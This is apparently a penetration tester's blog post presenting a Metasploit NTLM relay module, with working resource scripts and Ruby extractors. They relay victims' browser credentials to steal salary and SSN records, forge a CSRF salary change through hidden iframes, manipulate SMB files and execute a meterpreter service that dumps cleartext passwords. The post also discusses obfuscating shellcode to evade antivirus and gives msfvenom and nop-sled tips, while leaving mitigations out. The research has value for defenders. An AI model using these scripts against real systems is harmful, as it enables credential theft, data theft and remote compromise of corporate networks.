#SMB_PUT our malicious windows service (named metservice.exe) onto the victim
set RHOST mwebserver
set RPORT 445
set RTYPE SMB_PUT
set URIPATH /1
set RURIPATH c$\\Windows\\rla7cu.exe
set FILEPUTDATA /root/ntlm_demo/smb_pwn/metservice.exe
run
#Execute the malicious windows service
set RTYPE SMB_PWN
set RURIPATH %SystemRoot%\\rla7cu.exe
set URIPATH /2
run

Out of the box, this service already evades most AV (there are 0 detections when I uploaded to virustotal).

However, as AV companies do, they could update their stuff to figure out a way of detecting this. In the middle of a pentest, I already got an email from a concerned stakeholder asking about this service, which I had named “gonnaownyou” or something (yes, I know, sloppy, but I can be loud and arrogant). This concerned stake holder said they were in the process of analyzing the binary to determine if it was malicious. Surprised they had detected anything, I immediately dropped the binary into reflector, and it really couldn’t be more obvious that it is in fact malicious. I mean, my byte array is named “shellcode”, even in reflector.

As an attacker, the good news is we’re in .NET land now. It’s really very easy to modify C# compared to low level shellcode. All our real shellcode is just a string, which we can hide however the hell we want – we could easily download it from somewhere, use encryption, etc. with only a few code changes. In fact, we might not even have to modify our code above at all. There is an entire legitimate market to make managed code tough to analyze to protect IP and whatnot. Think dotfuscator. I’m not an AV guy – I usually know just enough to evade it – but it seems to me that for an AV company to detect our dotfuscated shellcode would be a difficult problem.

You know how it’s often referred to as an arms race/escalation game when people try to bypass AV, and then AV companies try to detect that? You know how they say basically the same thing about code obfuscating type solutions? Well, I don’t like spending my time evading AV, so I have this funny fantasy where I pit the code obfuscator people against the AV companies and they escalate their approaches against each other, leaving me out of the escalation equation completely :)

Metasploit Generic NTLM Relay Module

I recently put in a pull request for a Metasploit module I wrote that does NTLM relaying (I recommend this post for some background). I also have a time slot for a tool arsenal thing at blackhat. Here’s the description:

NTLM auth blobs contain the keys to the kingdom in most domain environments, and relaying these credentials is one of the most misunderstood and deadly attacks in a hacker’s corporate arsenal. Even for smart defenders it’s almost like a belief system; some people believe mixed mode IIS auth saves them, NTLMv2 is not exploitable, enabling the IIS extended protection setting is all you need, it was patched with MS08-068, you have to be in the middle, you have to visit a website, you have to be an administrator for the attack to matter, etc. etc.

http_ntlm_relay is a highly configurable Metasploit module I wrote that does several very cool things, allowing us to leverage the awesomeness of Metasploit and show the way for these non-believers:

  • HTTP -> HTTP NTLM relay with POST, GET, HTTPS support.
  • HTTP -> SMB NTLM relay with ENUM_SHARES, LS, WRITE, RM, and EXEC support. This extended support allows a lot of interesting attacks against non admins and multiple browsers that aren’t currently available in Metasploit.
  • NTLMv2 support, which means that this attack now works a lot more often on modern windows environments.
  • Mutex support allowing information from one request to be used in a future request. A simple example of this would be a GET to retrieve a CSRF token used in a POST. A more complex example would be an HTTP GET request to recover computer names, and then using that information to SMB relay to those computers for code execution.

It will be open source and I’ll try my darndest to get it included in Metasploit proper before Blackhat.

With this module, I made a choice for flexibility over some other things. Although basic usage is fairly straightforward, some of the more advanced functionality might not be. This post will give some usage examples. I have desktop captures of each example, full screen and HD those suckers if you want to see what’s going on.

Stealing HTTP Information

Corporate websites that use NTLM auth are extremely common, whether they’re sharepoint, mediawiki, ERP systems, or (probably most commonly) homegrown applications. To test my module out, I wrote a custom application that uses Windows Auth. I did it this way so I could easily reconfigure without too much complexity (although I have tested similar attacks against dozens of real sharepoint sites, mediawiki, and custom webpages). This simple example is an app that displays some information about the user visiting. Think of it as an internal paystub app that HR put up.

IIS is set to authenticate with Windows auth:

All domain accounts are authorized to see their own information, which it grabs out of a DB:


<asp:SqlDataSource
    id="SqlDataSource1"
    runat="server"
    DataSourceMode="DataReader"
    ConnectionString="<%$ ConnectionStrings:ApplicationServices%>">

...

Username.Text = Page.User.Identity.Name;
String username = Page.User.Identity.Name;

SqlDataSource1.SelectCommand = "SELECT * FROM Employee WHERE username='" + Page.User.Identity.Name + "'";
GridView1.DataBind();

So let’s attack this, shall we? I made the following resource file:

#This simple resource demonstrates how to collect salary info from an internal HTTP site authed with NTLM
#to extract run the ballance_extractor resource

unset all
use auxiliary/server/http_ntlmrelay
set RHOST mwebserver
set RURIPATH /ntlm/EmployeeInfo.aspx
set SYNCID empinfo
set URIPATH /info
run

Now our HTTP server sits around and waits for someone to connect. Once someone does and sends their NTLM creds, the credentials are passed along to the web server, and the data is saved to the notes database. We can look at this HTML, or with the data at our disposal, we can extract the relevant info with a resource script.

#extract the mealcard information from the database


<ruby>
#data is the saved response
def extract_empinfo(data)
	fdata = []
	bleck = data.body
	empdata = bleck.split('<td>')[2..-1]
	empdata.each do |item|
		fdata.push(item.split('</td>')[0])
	end
	return (fdata)
end


framework.db.notes.each do |note|
	if (note.ntype == 'ntlm_relay')
		begin
			#SYNCID was set to "empinfo" on the request that retrieved the relavent values
			if note.data[:SYNCID] == "empinfo"
				empinfo = extract_empinfo(note.data[:Response])
				print_status("#{note.data[:user]}: Salary #{empinfo[0]}  |  SSN: #{empinfo[4]}")
			end
		rescue
			next
		end
	end
end
</ruby>


Here’s that in action.

HTTP CSRF

Whether they be HTTP requests or something else, a lot of the really interesting attacks simply require more than one request. Look at any time we want to POST and change data. If the website has protection against CSRF, this should take at least two requests – one to grab the CSRF token and another to do the POST that changes state.

In my dummy app, a member of the “cxo” active directory security group has permission to edit anyone’s salary. This extreme functionality for a privileged few is super common. Think ops administration consoles, help desk type tools, HR sites, etc. The goal of this attack is to change “mopey’s” salary to -$100 after a member of the cxo group visits our site.

The first step for me is just to run the interface as normal through an HTTP proxy. In this case, it took three requests for me to edit the salary, and each request requires data to be parsed out – namely the VIEWSTATE and EVENTVALIDATION POST values. HTTP_ntlmrelay was designed to support this sort of scenario. We’ll be using the SYNCFILE option to extract the relevant information and update the requests dynamically.

Here’s the resource file


#This demonstrates how to do a CSRF against an "HR" app using NTLM for auth
#It grabs the secret from a GET request, then a POST request and uses that secret in a subsequent POST request
#This is a semi-advanced use of this auxiliary module, demonstrating how it can be customized

#to use, from msf run this resource file, and force a victim to visit a page that forces the 3 requests
#to modify the content put in the wiki, edit extract_2.rb

unset all
use auxiliary/server/http_ntlmrelay
set RHOST mwebserver
set RTYPE HTTP_GET
set RURIPATH /ntlm/Admin.aspx
set URIPATH /grabtoken1
set SYNCID csrf
run
set SYNCID csrf2
set URIPATH /grabtoken2
set RTYPE HTTP_POST
set SYNCFILE /root/ntlm_relay/bh_demos/http_csrf/extract_1.rb
set HTTP_HEADERFILE /root/ntlm_relay/bh_demos/http_csrf/headerfile
run
unset SYNCID
set URIPATH /csrf
set SYNCFILE /root/ntlm_relay/bh_demos/http_csrf/extract_2.rb
set HTTP_HEADERFILE /root/ntlm_relay/bh_demos/http_csrf/headerfile
run

extract_1.rb extracts the secret information from the first GET request, which the second request uses. Note the requests go one at a time – you have a guarantee one request will completely finish before the next one begins.

# cat extract_1.rb
#grab the request with the ID specified

#extract the viewstate value
def extract_viewstate(data)
	bleck = data.body
	viewstate = bleck.split('"__VIEWSTATE"')[-1].split("\" />")[0].split('value="')[1].strip
	return viewstate
end

#extract the Eventvalidation
def extract_eventvalidation(data)
	bleck = data.body
	eventvalidation = bleck.split('"__EVENTVALIDATION"')[-1].split("\" />")[0].split('value="')[1].strip
	return eventvalidation
end

framework.db.notes.each do |note|
	if (note.ntype == 'ntlm_relay')
		#SYNCID was set to "csrf" on the request that retrieved the relavent values
		if note.data[:SYNCID] == "csrf"
			print_status("Found GET request containing CSRF stuff. Extracting...")
			viewstate = extract_viewstate(note.data[:Response])
			eventvalidation = extract_eventvalidation(note.data[:Response])

			datastore['FINALPUTDATA'] = (
				"__EVENTTARGET=ctl00%24MainContent%24GridView1&__EVENTARGUMENT=Edit%243&__VIEWSTATE=" +
				Rex::Text.uri_encode(viewstate) + "&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=" +
				Rex::Text.uri_encode(eventvalidation)
				)
			puts(datastore['FINALPUTDATA'])
		end
	end
end

extract2.rb is nearly identical, except the POST data needs our CSRF values and the requests we’re parsing are different (we have a separate syncid we’re looking for).

# cat extract_2.rb
#grab the request with the ID specified

new_salary = "-100"
victim = "EVIL%5Cmopey"

#extract the viewstate value
def extract_viewstate(data)
	bleck = data.body
	viewstate = bleck.split('"__VIEWSTATE"')[-1].split("\" />")[0].split('value="')[1].strip
	return viewstate
end

#extract the Eventvalidation
def extract_eventvalidation(data)
	bleck = data.body
	eventvalidation = bleck.split('"__EVENTVALIDATION"')[-1].split("\" />")[0].split('value="')[1].strip
	return eventvalidation
end

framework.db.notes.each do |note|
	if (note.ntype == 'ntlm_relay')
		#SYNCID was set to "csrf" on the request that retrieved the relavent values
		if note.data[:SYNCID] == "csrf2"
			print_status("Found Second request containing CSRF stuff. Extracting...")
			viewstate = extract_viewstate(note.data[:Response])
			eventvalidation = extract_eventvalidation(note.data[:Response])

			datastore['FINALPUTDATA'] = (
				"__EVENTTARGET=ctl00%24MainContent%24GridView1%24ctl05%24ctl00&__EVENTARGUMENT=&__VIEWSTATE=" +
				Rex::Text.uri_encode(viewstate) + "&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=" +
				Rex::Text.uri_encode(eventvalidation) + "&ctl00%24MainContent%24GridView1%24ctl05%24ctl02=" +
				victim + '&ctl00%24MainContent%24GridView1%24ctl05%24ctl03=' + new_salary
				)
			puts(datastore['FINALPUTDATA'])
		end
	end
end

The HTTP_HEADERS options is easier to explain. In the file, it’s just a list of HTTP_HEADERS…

# cat headerfile
Content-Type: application/x-www-form-urlencoded

Lastly, I put all three requests in a nice rick roll package. This is the site the victim will visit with their browser in the final attack.

<iframe src="http://192.168.138.132:8080/grabtoken1" style='position:absolute; top:0;left:0;width:1px;height:1px;'></iframe>
<iframe src="http://192.168.138.132:8080/grabtoken2" style='position:absolute; top:0;left:0;width:1px;height:1px;'></iframe>
<iframe src="http://192.168.138.132:8080/csrf" style='position:absolute; top:0;left:0;width:1px;height:1px;'></iframe>

<h1>Never gonna Give you Up!!!</h1>
<iframe width="420" height="315" src="http://www.youtube.com/embed/dQw4w9WgXcQ" frameborder="0" allowfullscreen></iframe>


Here’s the whole thing in action. In this video I fail the rickroll due to my lack of IE flash, but the attack works. Despite good CSRF protection, mopey’s salary is successfully modified by visiting a malicious website.

Yes, it’s kind of complicated to parse HTML and extract values, but that’s just the nature of the problem. I’ve done this several times. In this archive there’s a mediawiki POST that edits an NTLM authed page. It’s similar to above, but requires a multipart form and a authentication cookie (which you can use the headerfile option for). HTTP_ntlmrelay is designed to do one request at a time, but multiple requests can easily be stacked on the browser side (like I did here with the hidden iframes).

SMB File Operations

There’s (usually) no reason you can’t use a browser’s NTLM handshake to authenticate to an SMB share, and from there, all the regular file operations you’d expect should be possible. Because there’s no custom HTML to parse or anything, this is actually a lot simpler to demonstrate. The setup is the same as above, a fully patched browser client from one machine being relayed to a separate fully patched default win 2008R2 domain machine (mwebserver).

#This simple resource simply enums shares, reads, writes, ls, and pwn

unset all
use auxiliary/server/http_ntlmrelay
set RHOST mwebserver
set RPORT 445
#smb_enum
set RTYPE SMB_ENUM
set URIPATH smb_enum
run
#SMB_PUT
set RTYPE SMB_PUT
set URIPATH smb_put
set RURIPATH c$\\secret.txt
set PUTDATA "hi ima secret"
set VERBOSE true
run
#smb_ls
unset PUTDATA
set RTYPE SMB_LS
set URIPATH smb_ls
set RURIPATH c$\\
run
#smb_get
set RTYPE SMB_GET
set URIPATH smb_get
set RURIPATH c$\\secret.txt
run
#smb_rm
set RTYPE SMB_RM
set URIPATH smb_rm
set RURIPATH c$\\secret.txt
run

Another cool thing. With current attacks like the smb_relay module you pretty much need to be an admin, and that’s still true here if you want to start services. But any Joe that can authenticate might be able to write/read to certain places. Think about how corporate networks might do deployment with development boxes, distribute shared executables, transfer shares, etc and you might get the idea. Below I replace somebody’s winscp on their Desktop with something that has a winscp icon and just does a system call to calculator (this is from a different lab but the idea applies anywhere)

SMB Pwn

How does psexec work? Oh yeah, it uses SMB :) You astute folks may have known this all along, but showing this off to people… they’re just amazed at how pwned they can get by visiting a website.

This can be super simple. Here’s an example that tries to execute calc.exe. It’s flaky on 2008r2 because windows is trying to start calc as a service… but it still pretty much works if you refresh a few times.

#This simple resource simply executes calculator

unset all
use auxiliary/server/http_ntlmrelay
set RHOST mwebserver
set RTYPE SMB_PWN
set RPORT 445
set RURIPATH %SystemRoot%\\system32\\calc.exe
set URIPATH smb_pwn

MUCH more reliable is to create a service that has at least onstart, onstop methods. This next video has three requests, one to upload a malicious binary with smb_put, a second call to smb_pwn, and a third to remove the binary. This is similar to what the current metasploit smb_relay and psexec modules do automatically. Here I upload a meterpreter service binary that connects back to my stage 2, and then executes a packed wce to dump the user’s password in cleartext.

This is my favorite demo, because it shows the user’s cleartext passwords from just visiting a website or viewing an email.

Conclusions

So like I mentioned before, I have a tool arsenal thing next week at Blackhat, so that would be cool if people stopped by to chat. Also, at the time of this writing this hasn’t made it into Metasploit proper yet, but I hope it makes it eventually! Egypt gave me a bunch of good fixes to do. I’ve made most the changes, I just haven’t committed them yet (but I probably will tomorrow, barring earthquakes and whatnot).

Mitigations are a subject I don’t cover here. I think this deserves a post of its own, since misconceptions about relaying are so prevalent. Until then, this might be a good starting point: http://technet.microsoft.com/en-us/security/advisory/973811.

3 Quick Metasploit Tips

1. Grepping msfvenom, msfpayload

To search through payloads in metasploit. One thing that doesn’t work is:

./msfvenom -l payloads |grep php

because output is directed to STDERR. So to search through metasploit modules from the command line, one way is to redirect STDERR to STDOUT.

./msfvenom -l payloads 2>&1 |grep php

2. Using ‘reload’, ‘jobs’, and ‘resource’ for module testing

When I was first modifying metasploit code, I restarted metasploit… which takes quite a bit of time and is a pain if you’ve only done like a one line change. But there’s a reload command that just reloads the module you’re working on, so that’s obviously much nicer.

Another couple commands that are handy for testing are ‘jobs’ and ‘resource’. ‘jobs’ will enumerate things that are running (and kill them, if you tell it to). ‘resource’ simply is a set of commands which will execute as if you entered them in the console. I used ‘resource’ for unit testing, and when I demo some more complicated attacks that will require actual code (coming soon), I’ll need to put that in a resource file.

3. Nop sled Generation

I recently ran into an exploit where the binary would look for repeating sequences (e.g. ‘x90x90…’), so I needed a custom nop sled. Also, I wanted to save the value of some registers. I was (coincidentally) pointed at Metasploit’s Opty2. The usage is:

> use nop/x86/opty2
msf nop(opty2) > generate -h
Usage: generate [options] length

Generates a NOP sled of a given length.

OPTIONS:

-b The list of characters to avoid: ‘x00xff’
-h Help banner.
-s The comma separated list of registers to save.
-t The output type: ruby, perl, c, or raw.

Follow

Get every new post delivered to your Inbox.

Join 34 other followers